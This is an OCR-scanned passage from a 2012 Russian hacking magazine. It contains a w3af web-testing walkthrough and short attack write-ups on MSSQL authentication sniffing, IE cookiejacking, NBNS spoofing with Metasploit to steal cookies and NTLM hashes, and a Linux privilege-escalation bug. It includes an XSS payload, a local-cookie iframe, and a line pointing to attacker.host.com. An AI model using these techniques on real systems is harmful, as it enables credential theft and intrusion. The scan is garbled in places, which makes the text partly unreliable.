ПЕНТЕСТИНГ ВЕБ 2.0 Сейчас уже никого не удивишь играми, графическим редактором

или видеозвонками через веб-браузер. Неотъемлем ой частью

интернета стали веб-приложения, в которых логика выполнения

запро граммирована на стороне клиента с активным использовани­

ем JavaScгipt, AJAX, JSON, HTML5 и других названий и аббревиатур. :1 Такой насыщенный комплекс технологий всё сильнее затрудняет автоматизированное тестирование безопасности веб-приложений.

Прошли былые времена. Это история уже не о тестировании

обычно го веб-сайта с множеством страниц вида /aгticle.php?id = 68,

на которых, в с вою о ч е р едь , есть множество ссылок, форм и тому

п одобного <<мяса>> для веб-паука. Нажа в , как обычно, <Ctгi -U >,

чтобы п осмотреть НТМL-код , ты увидишь месиво из огромного куска

JavaScгipt и немного традиционного HTML. П одобный «сайт» о чен ь

часто не по зубам веб -п ауку, построенному по классической модели.

Это вообще очень интересное направление для развития средств

тестирования безопа сности веб-приложений. Ведь непонятно, как

в такой ситуации автоматизированно обойти весь сайт - встраи­

вать полноценные JS и рендеринг-движки? Использовать подход, подобный Selenium/Web Dгiveг?

Дл я тестирования подобных приложений не обойтись без

специализированны х прокси, таких как OWASP WebScaгab и В uгр

050

.. :::---

""&""'"".-----

Использование прокси-утилиты в wЗaf

Suite, или даже популярного аддона к Fiгefox - Таmрег Data. Такие «nользовательские прокси>> позволяют в реальном времени отслежи­

вать [и даже изменять! НТТР-трафик между веб-браузером и веб­

сервером. Конечно, подобный инструмент есть и в комплекте wЗaf.

Вернее, такихпроксив нем целых две:

disсоvегу-плагин spideгMan;

интерактивный инструмент lnteгcepting Ргоху для ручноготестиро­

вания.

Для наших целей будем использовать spideгMan, который, как мы

уже разобрались, представляет собой disсоvегу-плагин. Попробуем

его в деле. П одключаем плагин в главном окне и запускаем сканиро­

вание. В веб-браузере в качестве прокси прописываем 127.0.0.1:44444 [я использую для этого аддон FохуРгоху для Fiгe fox, позволя ющий легко управлять проксями и переключаться между ними! . SpideгMan

будет запущен до webSpideг, так что последний сможет использовать

его результаты . Переключившись на spideгMan в нашем браузере, н е­

много полазаем по тестируемому веб-приложению. В Lоg-табе видим:

[Mon 30 Мау 2011 12:08:22 АМ MST] spiderMan proxy i s running on 127.0.0.1:44444. Please configure your browser to use these proxy settings and navigate the target sit e. То exit spiderMan plugin please navigate to http:l/127.7.7.7/spiderMan?terminate . [Mon 30 Мау 2011 12 :15 :29 АМ MST] The user is navigating through the spiderMan proxy. [Mon 30 Мау 2011 12:15 : 29 АМ М5Т] Trapped fuzzaЫe requests: [Mon 30 Мау 2011 12:15:29 АМ MST] http ://localhost/index.php 1 Method : GET [Mon 30 Мау 2011 12:15:32 АМ MST] http://localhost/user-info. php 1 Method: GET [Mon 30 Мау 2011 12 :22:36 АМ MST] SQL injection in а MySQL database was found at: "http://localhost/user-info.php" , using НТТР method GET. The sent data was: "id=d'z"0". This vulnerability was found in the request with id 3911. [Mon 30 Мау 2011 12 :27:10 АМ MST] Cross Site Scripting was found at: "http://localhost/index .php", using НТТР method GET . The sent data was: "limit=15&u=<ScRIPT> a=/UzmE/%0Aalert(a.source)</SCRiPT>" . The modified parameter was "u" . This vulnerability affect s ALL browsers. This vu lnerability was found in the request with id 4042.

Как видно из лога, чтобы остановить работу spideгMan, необхо­

димо перейти на специальный адрес, после чего webSpideг и другие

плагины примутся за дело. Так , аудит-плагины обнаружили SQL-и ХSS-инъекциюl Первая дыра, оказавшаяся как раз в АJАХ-запросе,

была упущена во время первого сканирования.

Добавлю немного про эксплуатацию найденных ба го в . WЗaf умеет

эксплуатировать некоторые виды уязвимастей и, к примеру, может

предоставить тебе заветн ы й шел л на целевой машине. Для эксплуа-

ХАКЕР 03 /158/ 2012

Page 53: Xakep 03_2012

тацииобнаруженнойуязвимостинадопростоперетащитьсоотве~

ствующий эксплоит на вкладке Exploit на уязвимость. Для эксплуа­тации SQL-инъекций используется наверняка знакомый тебе sqlmap [sqlmap.sourceforge.net l, встроенный в wЗaf.

РУЧНОЕ ТЕСТИРОВАНИЕ Отправить НТТР-заnрос в нормальной операционной системе можно

с помощью множества способов: Telпet, cURL, Wget, Python + urll ib, в конце концов, :1- выбирай, что больше по душе. В wЗaf для этого предусмотрены специальные удобные инструменты. П ослать пачку

однотипных НТТР-запросов с разными значениями одного из пара­

метров? Пожалуйста! Генерировать соответствующие токены можно

на том же Pythoп. С помощью редактора НТТР-запросов, в котором

есть даже простая п одеветка НТТР -синтаксиса, можно отправлять

одиночныезапросы . Частовозникаетнеобходимостьвыполнить

кодирование какой-нибудь строки в URL или просто посчитать МО5-сумму. Конечно, можно быстро набрать «echo -п "admin" 1 md5sum>> в консоли, но использовать для этого встроенный кодировщик немно­

го удобнее. П ри раскрутке очередной слепой SQL-инъекции важно

различать между собой ответы веб-сервера , для чего тебе наверняка

пригодится встроенный diff. Ну и наконец, если ты « вайтхат>> или про­

сто аудитор безопасности, то заказчику пентеста надо по казать, как

«работает»уязвимост~используявозможностьзкспортазапросов

в форматы HTML, AJAX и Python. Иными словами , можно сказать: «От­

кройте вот эту форму, на жмите .. Сабмит" и смотрите, как появляется

JS-сообщение ... >> Рассмотрим типич н ый сценарий использования этих инструмен­

тов . Запускаем прокси и шаримея по и сследуемому веб-приложению

[не забываем включить проксирование трафика в браузереl. На вкладке Histoгy видим отображаемый в реальном времени НТТР­

трафик между браузером и сервером. В случае с более мощным при­

ложением, например чатом , транзакций будет значительно больше.

В такой ситуации как нельзя кстати будет хороший фильтр : с его

помощью можно, к примеру, выводить только транзакции с такими за­

просами, которые содержат параметры в строке << Запросы>> и на кото­

рые был получен 2хх-й ответ.

Вернемся к нашему приложению. Во время навигации по нему

замечаем, что при наведении на аватар пользователя появляется

всплывающее «окно>> с информацией об этом пользователе. Эта

информация выдается в результате обычного АJАХ-запроса к

/useг-info.php?id =1, что видно в истории запросов . Давай протести ру­

ем этот скрипт на уязвимости. Для нашего запроса в меню выбираем

«Audit гequest with ... >>- нас интересует, есть ли там SQ L-инъекция .

ld: 46

Фреймворк для п ентестера

.. ~ -. ---........ --

Получаемшелл через SQL-инъекцию

Бинго! Обнаружена классическая SQ L-инъекция . :1 Как ты уже дога­далс я , это запускаются всё те же плагины, которые ты выбираешь при

обычном сканировании.

Для поиска «слепых>> с кулей тоже есть специальные плагины. Вы­

ключим вывод ошибок в настройках РНР и попробуем задетектить тот

же ба г, но уже вслепую. С помощью НТТР-редактора посылаем пару

запросов к нашему веб-приложению: /useг-info.php?id=1 и /useг-info. p h p? id=1%2Ы , а затем передаем результаты средству для сравнения

тра нзакций. В результате при вып олн е нии SQL-зaпpoca срабатывает

простейшее алгебраическое выражение, и мы получаем два разных

отв ета [информация для разны х пользо вателей!. Дальнейшим шагом может стать всё та же эксплуатация с к ули .

OUTRO WЗaf- это действительн о мощный фреймворк для тестирования

безопа сности веб-приложений . Рас с казывать о нем можно долго ,

п о этому я ставил перед с о б о й задачу по казать его в действии.

Важно, что это не просто очередной сканер безопасности, а именно

фре ймворк, большое количество дополнений тому доказательство.

К тому же для человека, на базовом уровне знающего веб и Python, не составиттруда добавить недостающий функционал или проверку.

Кс тати , как и любому свободному проекту, wЗaf нужны новые раз­

ра ботчики, тестировщики и просто активные пользователи. Кого

зт о з аинтересовало, добро nожаловать в соответствующий список

рас с ылки [wЗ af . souгcefoгge . ne t l либо на IRС-канал #wЗaf в сети

Fг e enode. ::х::

ld:47

L Аутентификация J GЕТ http :/Jloca.lhost/user- in fo .~p7id-1 НТТР/1.1 Accept -l.angu•: en-us,en;q-e.s

~ ~GЕТ http ://localhosttuser- in fo. php7id·1~Bl НПР/1 . 1 Accept- l anguage: en-us,en;q-e.S

~~-----.. [ Сбор ссылок

Модель работы класси ческого сканера уязвимостей веб-приложени й

ХАКЕР 03 / 158/ 20 12

Accept-encodi ng: identity Keep-alive: 115 Accept : text/htlll, арр lication/xhtlll+XIIl, арр licat ion/XIIl: q..e. 9 user-agent : Нozilla/S.e (Xll; Linux i686; rv:2.&.1) Gecko/Z81 Accept -charset : IS0-8859 - l, ut f -8; q-e. 7, • ;q-e. 7 Нost: localtюst Refe rer: http://localhosttindex.php Cookie: PНPSESSID-гf 7vdbs j ist7is3j6rlc3p462S Proxy-connect i on; keep- а li ve

<style> "'(

height : ерх; Ьorder : 8рх; Ьorder-top: l px solid gray;

1 </sty\ e>

Accept-encoding: identity Keep-alive: 115 Accept: text/ht.l,application/xhtii\+XIIl ,application/xlll ;q..e. 9 , .-, . ;q-8.8 User-agent: t10zilla/S .8 (Xll ; Linux iб86; rv:2.8. 1) Gecko/28118438 Firefo Accept -charset: IS0-88S9· 1,utf -S; q-8. 7, • ;q-e. 7 Нost: localhost Referer: http://l ocalhos t /index. php Cookie: PНPSESSID•rf7vdbs j ist7 isЗjбrlcЗp462S Proxy-connection: keep-alive

<style>

"' ( height: ерх; Ьorder: ерх; Ьorder-top: Ipx solid gray;

1 </ style> <tаЫе Ьorder-" 8 " cell spacing•" S" class-~userТaЫe"> <tаЫе Ьогdег-·е· се\ \sp<~cing-" S" c\ass-· userТaЫe">

<1: Г><td>Fi rs tnatlf!: </td><td>Jaii'IE!s</td></t r> ~ ~ <tr><td>Firstnane: </td><td>A\isa</td></ t r> <t r><td>Las t na~~e : </ td><td>Bond</ td></ t r> <tr><td colspan• "2"><hr />1 like Vodka ... shaken not stirr <t r><td co\s an•"2"><hr /><а href• "/IIIE!ssages .p_h ?to•jai'IE!s </t r>

</table>

1 Sellext lo compare J

Утилита из состава wЗaf для сравнения НТТР-транзакций

<1: r><td>Las tnaii'IE! : </td><td>Se lezneva</td></t r> <tr><td colspan•"2"><hr />Spacegir\1 J! !</td></tr> <tr><td cols an•"2"><hr /><а href• " /IIE!ssages . ~h~7to-alisa ">Send Priva </ t r>

</tabl e>

[<lo::J o12

051

Page 54: Xakep 03_2012

ВЭЛОМ/ЕАSУ НАСК Алексей «GreenDog» Тюри н, Digital Security ltwitter.com/antyurinl •

ОТСНИФАТЬ ПАРОЛЬ ПРИ АУТЕНТИФИКАЦИИ В MSSQL Ef.3Jf..i!f.·l

Microsoft SQL server- это одна из самых распространенных СУБД.

Давай рассмотрим две ее особенности.

1. Как и многие другие продукты Microsoft, SQL server предлагает два вида аутентификации : integrated [sign-on], то есть аутенти­фикацию п о виндовой уч етной записи, и native, то есть классиче­скую, по логину и па ролю. Оба способа используются довольно

часто.

2. По дефопту данные, передаваемые по сети, практически

не шифруются. Если точнее, то шифруется процесс аутентифи­

кации пользователя, а сами данные- нет. Конечно, для атаки

этого было бы достаточно. Зачем нам логин и па роль, если мы

можем на лету поменять запрос или получитьданные, всего лишь

устроив arp-spoofiпg между сервером и клиентом? Затем, что это

не самое про стое дело - подменять что-то на лету. Поэтом у по­

пытаемся вытащитьлогин и пароль.

Не так давно некто под ником fOrki изучил этот вопрос [!J.i.LЬ'L s8g07r l. Посмотрим, что же он выудил. Дл я начала то, что дан­ные MSSQL передаются в формате Tabular DataStream protocol [ bit . ly/z З oVPR I. Н о сам этот пр отокол не поддерживает шифрова­

ние . Как же так? Откуда зашифрованные п акеты авторизации?

После непродолжител ьны х мучений с Wireshark fOrki обнаружил довольно интересную вещь: для шифрования здесь использу­

ется обычный SSL [с самоподписанным сертификатом], который работает вн утри TDS. Нестандартное решение. Но это не так важно. Самое интересное- это настройка ТDS-соединения,

так называемого пакета PRELOGIN . Он задает разнообразные настройки и в том числе указывает, будет ли использоваться

шифрование. За шифрование отвечает поле ENCRYPTION, кото­рое может принимать следующие значения:

052

ъ-- г

1. Шифрование доступно, но отключено: ENCRYPT_O FF- ОхОО.

2. Шифрование доступно и включено: ENCRYPT_ON - Ох01.

З . Шифрование недоступно: ENCRYPT_NOT_S UP - Ox02 . 4. Шифрование требуется: ENCRYPT_REQ-OxOЗ.

По дефопту устанавливается значение ENCRYPT_O FF. Несмо­тря на название, шифрование при таком значе нии используется,

но только для процесса . А вот когда стоит ENCRYPT_NOT_SUP, шифрование не используется совсем. Таким образом, мы вполне

можем осуществить классическую МiТМ-атаку и, подменив данные

всего лишь в одном па кете, полностью отключить шифрование

и отснифать аутентификационные данные.

Кстати, автор этого исследования довел всё до логического

конца - создал модуль для Metasploit Framework, который всё за нас и сделает. Только , думаю, здесь стоит отметить одну особен­

ность. В описываемом случае модуль не меняет данные на лету,

а поднимает ТСР-порт, и только с него данные редиректятся

на MSSQL-cepвep за счет еще одного соединения, созданного уже

атакующим, что, тем не менее, не создает особых проблем. Всё, что

требуется, - зт о организовать редирект трафика, приходящего

на хост атакующего после arp-spoofing-aтaки, на соответствующий

локальный порт. Но и эту задачу fOrki автоматизировал, добавив в свой модуль небольшой shеll-скрипт.

----- - -- -- - - ~--------

- ----- ---

------------ - - ----------

Выбор метода на основании флагов, установленных у клиента и сервера

ХАКЕР 03/158/2012

Page 55: Xakep 03_2012

EASY НАСК

УГНАТЬ КУКИСЫ С ПОМОЩЬЮ UI-REDRESSING ......... йи

В декабрьском номере][ мы познакомились с такой вещью, как clickjacking. Сrатья была очен ь полезной, но автор не упомянул об

одном замечательном трике. На самом деле название clickjacking не совсем точно отражает суть атаки, и мне кажется, что ui­redressing - это более правильное nонятие. И техника , которую я

опи шу ниже,- самое яркое тому подтверждение.

Итак , n озволь представить тебе cookiejacking. Впервые об этом технике рассказал Rosario Valotta на HITB в Амстердаме в 2011 году. Потенциал техники огромен- nросто представь, что с ее по­

мощью можно nохитить куки от люб ого сайта , даже от защищенно­

го НТТРS-протоколом! Однако здесь есть небольшее ограничение :

работает она только в IE !но зато во всех версиях! . Теперь давай посмотрим, что же п редлагает нам этот И Б-специалист.

Во-первых, он использовал 0-day, которая имеется во всех версиях IE. С виду это не такая уж и страшная дырка, а потом у ее

не особо стремились пропатчить. Как ты уже знаешь, в IE есть такая фича, как разделение на зоны: lnternet, lntranet, доверенные узлы. В разных зонах действуют разные настройки безопасности.

Н аn ри мер, описанная выше автоматиче ска я NТLМ-аутентфикация

действует дл я узлов зоны lntranet и выше. Вот сnисок зон, отсо­ртированных в nорядке уменьшения привилегий:

Local Machine Zone Local Intranet Zone Trusted Sites Zone Internet Zone Restricted Sites Zone

С безо п ас н ост ью и зонами связан еще один момент- правила

кросс-зон ного взаимодействия. Согласно самому общему прави­

лу, ме н ее привилегирован н а я зо на н е может взаимоде йствовать

с более привилегированной . Та ким образом, вызов кода <iframe src= "file: // c :/boot . ini " > со страницы зоны интернетприведет к ошибке доступа.

Уязви мость 0-day состоит в том, что кросс-зонная политика не действует для оnределен ны х файлов, а именно для файлов

кук и. Таким образом, на стра ницу сайта зоны интернет можно

встав ить следующий фрейм:

<iframe src= "file :///C: //Documents and Settings/ %user_name%/Cookies /%user_name%@google[l].txt " > </iframe>

Здесь %user_пame% - это имя пользователя в ОС. Куки же

у каждого п ользователя свои, п оэто му хра нятся они в личных п ап­

ках . Пр и мер, иллюстрирующий чтение кукисов Google, ты сможешь увидеть на скриншоте.

Во-вторых, кроме 0 -dау- бага, автор использовал специальную

технику clickjackiпg·a под названием conteпt extraction lпредстав ­лена П олом Стоуном на BlackHat Europe - 2010, goo.g i/ZBYNw l. Зачем? Хотя мы и подгрузили в iframe файл с кукисам и, однако получить дост у п к данны м в н ем мы не можем. Здесь действует

кросс-домен ная политика , ведь наш сайт находится где-то в сети,

а в ifram e у нас сидит localhost пользователя. Суть этой специальной техники достаточно проста. Все совре ­

менн ы е браузеры поддерживают drag & drop, с п омощью которого пользователь может перенести данные с одного сайта на другой .

Таким обра зом, юз е р , по сути , копирует данны е в одн ом месте

и вставляет в другое . Кросс-дом е нным п олитикам здесь придраться

не к чему. Так вот, сопtепt extractioп - это, проще говоря , несколько

извращенный drag & drop. Заманив на ядовитый clickjackiпg-caйт нашу жертву, мы предлагаем ей, например, поиграть в игру. Ее смысл

ХАКЕР 03/158/ 2012

г ·J т

.,_ 7iS9l003 .Z<19775128.132514ИЭ9 .132 . account.в .9CJ09le. соа/ >600 888086656

ll3080 1SSZ 30191238

о-· ~ Р- ~- G~ · Adcms iQ c:'iOocunert:sns.ttnat~

... о .. -. D st..edDotunerts

~ Мy((ЩIII:et"

_,;j...,__."""

Обход кросс-зон но й политики и доступ к локальным кукисам из зоны интернет

- перетащить один элемент !в примере Rosa rio это мячик! в другой !сетка!. Под мячик мы прячем наш iframe с кукисам и, а на самом сайте создаем обработчик для переносимых данных. Но и это еще

не всё . Нашему iframe мы добавляем свойство scrollspeed с большим значением. Это необходимо для того, чтобы клик, совершаемый

пользователем, превращался в о перацию выделения за счет само­

стоятельного перемещения lпроскролливанияl iframe из самого верха в самы й низ. Таки м образом, получается, что пользователь во

время клика на самом деле выделяет текст в iframe, а перемещая мячик в корзину, перемещает этот текст drag & dгор'ом, в итоге пере­давая текст хакеру. Возможно, что на словах всё это звучит не очень

понятно, но как только ты посмотришь видео на сайте Rosario Valotta I Ьit .l y/iN xvTЬ) , то сразу поймешь логику метода и, в частности, техни­ки сопtепt extractioп, даже если ты не знаком с JavaScript.

Думаю, что теперь общая идея атаки ясна . Однако у нее есть

несколько нюансов. Во-первы х, эта атака работает на всех ОС

Windows, что и создает проблему :1. Файлы кукисов в ХР и в Vista/7 лежат в разных местах . Для ХР это C: //Documents and Settings/%user _name%/Cookies, а для более новых версий винды -C:/Users/% user_name %/AppData/Roaming/Microsoft/Windows/ Cookies. Тем не менее, эта « проблема » решается достаточно просто,

ведь большинство браузеров отправляют в каждом за просе заголо­

вок User-Ageпt, который очень часто включает в себя и версию ОС.

Кроме того, для определения версии ОС можно воспользоваться тем

же JavaScript. Во-вторых, как ты , я думаю, заметил , нам необходимо

знать имя пользо вателя на его компьютере, и это главная про­

блема. Для ее решения можно попытаться заставить пользователя

подключиться по протоколу SMB. Пр и подключении по н ему клиент

передает имя пользователя наряду с другими полями. Дл я этого

на ядовитую страни цу требуется добавить вот такой простейший

кoд:<img src= " \\attacker.host.com\ any . jpg" ></ img>. Конечно, еще потребуется поставить обработчик запросов

на 445 порт, а затем организовать его взаимодействие с wеЬ ­

сервером. Как видишь, описанный метод просто шикарен! Однако

возможности е го использования чаще всего огра н ичивает филь­

трация такого трафика на сетевых устройствах . К тому же здесь

встает еще одна проблема. На дворе уже весна 2012-го, а Microsoft пофиксила уязвимость в IE еще в начале осени 2011-го. Кроме того,

Microsoft внесла изменения в наименование кукисов в файловой системе. Теперь их названия лишились п о н ятного удобочитаемого

вида user_пa meradomaiп[couпter].txt и с тали похожи на буквенно­цифровые рандамы вроде 87ТVLB DW.txt. П оэтому обратиться к ним

напрямую так просто уже не получится. Впрочем, по статистике,

очень малое число пользователей заблаговременно обновляет

с вои браузеры, особенно если речь идет об IE.

053

Page 56: Xakep 03_2012

ВЗЛОМ/ЕАSУ НАСК

СОБРАТЬ ИНФОРМАЦИЮ

РЕШЕНИЕ Сбор информа ц ии явл яется од ним из важнейших этапов при про­

ведении ауДита безо п асност и lну или атаки). Ведь нам необходимо найти самое слабое место и затем попытаться захватить через него

всю систему. Но зачем искат ь сложный путь, если самым слабым

местом любой, даже самой защищенной системы является чело­

век? Ты наверняка знаешь о существовании такой замечательной

вещи, как социальная инженерия. Ее результативность напрямую

зависит от доступной информации о человеке, поэтому тысячи

специалистов и проводят различные исследования на эту тему.

Однако в России такой тенденции пока что не наблюдается, так

как наши пользователи сидя т в основном только в Одноклассниках

и В Контакт е, д а и про цесс информатизации еще просто не дошел

до большинства ведомств . В любом случае я думаю, что тебя за­

интересует ссылка makensi .es/stf. Автор этой страницы не поле­нился собрать в одном месте не плохую коллекцию всевозможных

онлайн-сервисов, которые могут пригодиться тебе в процессе

взлома или пентеста, чтобы получить всю необходимую информа­

цию как о человеке, так и о всей подопытной системе.

SkiJJ Tracino Framework ;\ ' Ift'(' '•\ , 1 1 \ l J(r~>r ,J 1'l tlll ,'' , о..; 1'1, .. t l "it .._

DNS command Une

***'* WeЬsfte lntorm•tlon

*** IPNelghЬors

***, Spamllsts

***• MaШngllsts

*** Machinespeclflc tools

***;

Оnредеnяем nлагины WordPress

DNS lnformetion Gathering command line

• Flen:e Domllln scan i:J

****; • The Н.rvester comm.1nd llne tool Q

**** • DNSEnumtooi GI

***i • S dlg ~ns.domaln .com domaln.com AXFR Q

***

НАЙТИ АЛЬТЕРНАТИВУ DNS И ПРОСПУФИТЬ NETBIOS

Всем нам известно, что для определения IР-адресов по именам

используется протокол ONS. Протокол проектировался без особой заботы о безопасности !тогда существовали более важные зада­чи), поэтому в настоящее время в нем есть множество недостатков с точки зрения безопасности . Однако на смену ему идет DNSSEC, и я надеюсь, что ситуа ц ия изменится в лучшую сторону. Сами не­

достатки DNS наиболее сильно проявляются в локальных сетях, особенно если мы можем провод ить атаки типа aгp-poisoning,

позволяющие п росматривать и мод ифицировать трафик, которым

обме н иваются жерт ва и се рве р . Н о давай предположим, ч т о

по каким-то п ричинам всё это нам недоступно, хотя мы и находим­

ся в одной локал ке с жертвой . П усть, например, в сетке при­

сутствует некая 105, и мы совсем не хотим, чтобы кто-то заметил нашу хакерскую активность . Тогда нам нужно действовать тихо,

используя только стандартные возможности протоколов. Уточню

задачу. Нам необходимо перехватить куки, передаваемые пользо­

вателем на абстрактный сайт ХХХ.СОМ. Изначально может пока­

заться, что задача не имеет решения, но давай рассмотрим, каким

образом ОС Windows определяет IР-адрес сайта. Первым делом система проверяет статическую привязку IP к именам, хранящим ­

ся в файле hosts IC :\Windows\System32\dгiveгs\etc\hosts). Далее,

• FiltEr: J (chs ог nros ) and ip.addr

No .• 1 Time 1 Source 1 Destnation

' .

...

48313 . 763879 2 123

1,.. 485 13 . 786589 ~ 123 = 2 493 13 . 90'3700 2 123 494 13 . 905520 123 255 528 14. 65 5488 123 255 570 15 . 405637 123 255

Заnрос URL в браузере nорождает nачку различных заnросов для резолва имени

051.

li•iaf..i!!f.ll т ·лw т

если в файле нет nри вязок, производит запрос к D NS - cepвepy. За ­

те м Windows использует такую штуку, как NetBIOS Name Seгvice. Здесь следует уточнить, что NetBIOS входит в Windows по дефолту, а NetBIOS Name Seгvice INBNSI- это тот же протокол, только

предназначен он для установки соответствия между NеtВIОS­

именами и IР - адресами. В процессеработы этот протокол либо

использует специальный WINS-cepвepa, либо отправляет широко­

вещательный запрос в сеть !думается, теперь идея атаки понятна).

Но вернемся к еще одному важному моменту- DNS-зanpocy

к серверу. Если сервер ответит пользователю, то за п рос по NBNS уже не будет отправлен . А как же DNS-cepвepy н е ответит ь, есл и

интересующий пользователя сайт ХХХ.СО М и м еет ОN S-за п ись?

Здесь мы можем воспользоваться возможностями современных

браузеров : поиском из адресной строки и подстано в кой доменов

верхнего уровня l.com, .гu) . Как именно? Сейчас пользователи

привыкают вводить то, что их интересует, прямо в адресную стро­

к у, но браузеры не всегда могут понять, хочет ли пользователь

что-то найти в поисковике или просто открыть сайт. Е с т ь, конечно,

определенные паттерны !например, пробелы в адресной строке),

но гораздо чаще браузерыв первую очередь резолвят имя только

упомянутым выше способом . Что еще интересней, при отправке

DNS-зanpoca к введенной пользователем строке добавл яется

Ejp'ession ... Cleat Арр!у

1 ProtDcol lmro • . . . . ONS Standard query response_. NO such nате DNS Standard query А makaka. DNS stanoard query response, No such nате NBNS Name query NB МАКАКА<00> NBNS Name query NB МАКАКА<00> NBNS Name query NB МАКАКА<00>

ХАКЕР 03/158/2012

Page 57: Xakep 03_2012

127 368.190841 192.168.0.101 192.168.0.255 128 368. 427678 192. 168. о. 102 192.168 . 0.101 162 423. 172957 192.168.0.101 192.168.0.255 163 423.407005 192. 168.0.102 192.168.0.101 185 442.487183 192. 168. о. 101 192.168.0.255 186 442:734222 192.168.0.102 192.168.0.101 258 666. 150204 192.168.0.101 192.168.0.255 259 666. 381655 192.168.0.102 192.168.0.101 319 727. 267776 192.168.0.101 192.168.0.255

N B NS-cnyфин r в действии

определенный суффикс, в результате чего получается полное до­

менное имя .

Теперь нам необходимо подделать ответ на NBNS-зanpoc. Для

этого нужен Tгansaction 10 из NBNS -зanpoca . Но , как уже было

сказано выше, этот запрос чаще всего является широковещатель­

ным, а так как мы находимся в той же локалке, то никаких проблем

с его получением нет. К нашей радости, для спуфинга в MSF уже nрисутствует соответствующий модуль. Вот краткая схема дей­

ствий:

1. Загружаем модульдля Net BI OS-cynnингa: use auxiliary/spoof/ nbns/nbns_response.

2. Выставляем регэпс ответов на запросы : Set REGEX *google*. 3. Указываем, какой IР-адрес подставлять: set spoofip xa.kep.

IP.addr ess. 4. Зanycкaeм: run.

Теперь сделаю небольшее отступление. Создатель этого моду­

ля ITiт Medin) предлагал использовать его совершенно для други х целей lgoo.gi/Jz2Q9), а именно для банального сбора NТLМ-хешей. Если точнее, то после запуска вышеуказанного модуля от браузе­

ра приходит множество запросов, п ричем чаще всего получается

спуфить короткие имена ! типа тakaka), а не длинные lтakaka. сот). С учетом логики работы Windows короткие имена причисля­ются к зоне интранет !не интернетl). А эта зона в IE считается «до­веренной», и в ней действуют гораздо менее грозные настройки

безопасности. К примеру, здесь разрешена автоматическая аутен­

тификация на сайтах. Таким образом, мы можем запустить модуль

для сбора N Т LМ-хешей по НТТ Р !хотя можно и по SMB): 1. Загружаем модульдля снифинга: use auxiliary/server/

capture/http_nt l m. 2. Страница, где будет производиться запрос: set URIPATH. 3. Порт, где поднимется веб-сервер : set SRVPORT ве .

EASY НАСК

NBNS 92 Name query NB ?? :00>

NBNS 104 Name query response NB 192.168.0.102 NBNS 92 Name query NB iiiliiiliiiliiil lliiilll RU<OO> NBNS 104 Name query response NB 192.168.0.102 NBNS 92 Name query NB .GOOGLE.COM<OO> NBNS 104 Name query response NB 192.168.0.102 NBNS 92 Name query NB .-RU<OO> NBNS 104 Name query response NB 192.168.0.102 NBNS 92 Name query NB AASDASD 8188RU<OO>

4. Запускаем : run .

Вернемся к краже кукисов. Итак, используя NВNS-спуфинг, мы

можем подменить какой-либо рандомный запрос. Но нам нужны

кукисы именно с ХХХ.сот, а потому мы проворачиваем неболь­

шой трюк- поднимаем веб-сервер со страничкой, содержащей

скрытый фрейм !можно заюзать JavaScгipt) , а уже в зто м фрейме загружаем ХХХ.сот. Однако нам надо не просто загрузить ХХХ .

сот, но еще и сделать так, чтобы браузер не нашел его с помощью

DNS и начал использовать для поиска только NBNS. Очень важно,

чтобы браузер продолжал считать проспуфленный домен тем же

сам ым доменом, иначе в силу вступят кросс-доменные политики

и никаких кукисо в мы не увидим. Так как указанная методика

разресерчивалась как раз во время написания этого текста, то

единственным достойным вариантом стало обращение к н есуще­

ствующему поддомену атакуемого сайта.

Теперь можно вывести общи й алгоритм атаки :

1. Устанавли ваем NВNS-спуфи нг на все имена.

2. Поднимаем wеЬ-сервер с легированием входящих запросов

!чтобы соби рать кукисы) и фреймом, ссылающимся на несуще­ствующий поддомен ХХХ.сот !например, asdasdasd.XXX.coт ) .

3. Жертва, которая ввела что-то в адресную строку браузера, спу­

фится по NBNS и редиректится на хостхакера. 4. Браузер автоматом резалвит asdasdasd.XXX.coт, и, опять же,

спуфится по NBNS. 5. Браузер отправляет кукисы ХХХ.сот на asdasdasd . XXX.coт, то

есть на хостхаке ра.

Так им образом, мы можем получить кукисы от множества

сайтов. Ед инственн ое ограничение здесь в том, чтокукидолжны

быть установлены не на ко нкретный узел IХХХ . сот), а на домен

I . ХХХ.сот) .

ПЕРЕХВАТИТЬ ТРАФИК НА LOCALHOST ПОД WINDOWS ы.r.&~tfl

Недавно я столкнулся с не возможностью пропускать трафик

через прокси при системных обращениях к localhost или к л упбзку -127.0 .0.1. Почему системных? Потому, что настройки IE, касаю­щиеся прокси , используются большинством ПО в Windows. Напри­мер, Python при использовании uгll i b2 автоматом берет прокси

ОС . Надо отметить, что острее всего п роблема проявляется,

когда сервис поднят именно на внутреннем интерфейсе 1127.0.0.1) и недоступен на внешнем 10.0.0.0). В тот раз мне удалось решить ее каким-то обходным путем , но недавно я наткнулся на инте­

ресный пост в благе Eldaг Maгcussen. Он написал, что дефолтные

ХАКЕР 03/158/2012

г. г г

настройки IE и .NET fгатеwогk запрещаюттрафику идти через прокси на localhost и 127.0.0.1 . В IE9 эту проблему удалось решить за счет того, что в настройках можно выбрать опцию << не исполь­

зовать прокси>>- <<-localhost». Решение , в общем-то, чрезвычайно простое. Во - первых, можно

обращаться к сервису по любому IP в 127 подсети, кроме первого, например по адресу 127.1.2.3, так как все они относятся к одному интерфейсу. Во-вторых , можно nрописать в файле локального

резолва имен hosts l %windiг%\dгiveгs\etc\hosts) другое имя для lo calhost : 127.0.0.1 localhOst .

055

Page 58: Xakep 03_2012

ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

Обзор эксплоитов В этом интереснейшем обзоре мы рассматри­

ваем свежую уязвимость в ядрах Linux, позво­ляющую без особого труда поднять привилегии

в системе, баги в Microsoft Office и Acrobat Reader, а также ХХЕ-инъекцию в phpMyAdmin. Не пропусти!

056

Павел Александрович [iv i nsi d e.Ыo g spot.com[

Дмитрий Михайлович [115612, де р. Красн ая звездоч ка, д . 1[

1 Локальное повышение привипегий в Linux

CVSSV2 6.8 1111111 111 1111 11111 11 11 1

[AV: L/AC: L/AU:S/C:C/1 :C/A:CI l:iil'II3] Уязвимость связана с интерфейсом /ргос/<РI 0>/mem [где <PID> ­идентификатор нужного процессаl, который Linux предоставляет для прямой запи с и в память процесса и чтения из нее. В ядре версии

2.6.39 разработчики убрали директиву #ifdef, исключающую прямую запись в память процесса, поскольку сочли, что этот интерфейс уже

до стато чно защищен от неавторизованного доступа с помощью

других механизмов ядра. На самом деле nисать в память процесса

может любой пользователь, обладающий достаточными правами.

Как оказалось, эти права проверяютсЯ не совсем корректно. В итоге пол учило сыо , чтополучилось:вовсехверсияхядра,начинаяс

2.6. 39, злоумышл е нник может продвинуть по « карьерной лестнице»

до рута любого имеющегося пользователя .

ХАКЕР 03/158/2012

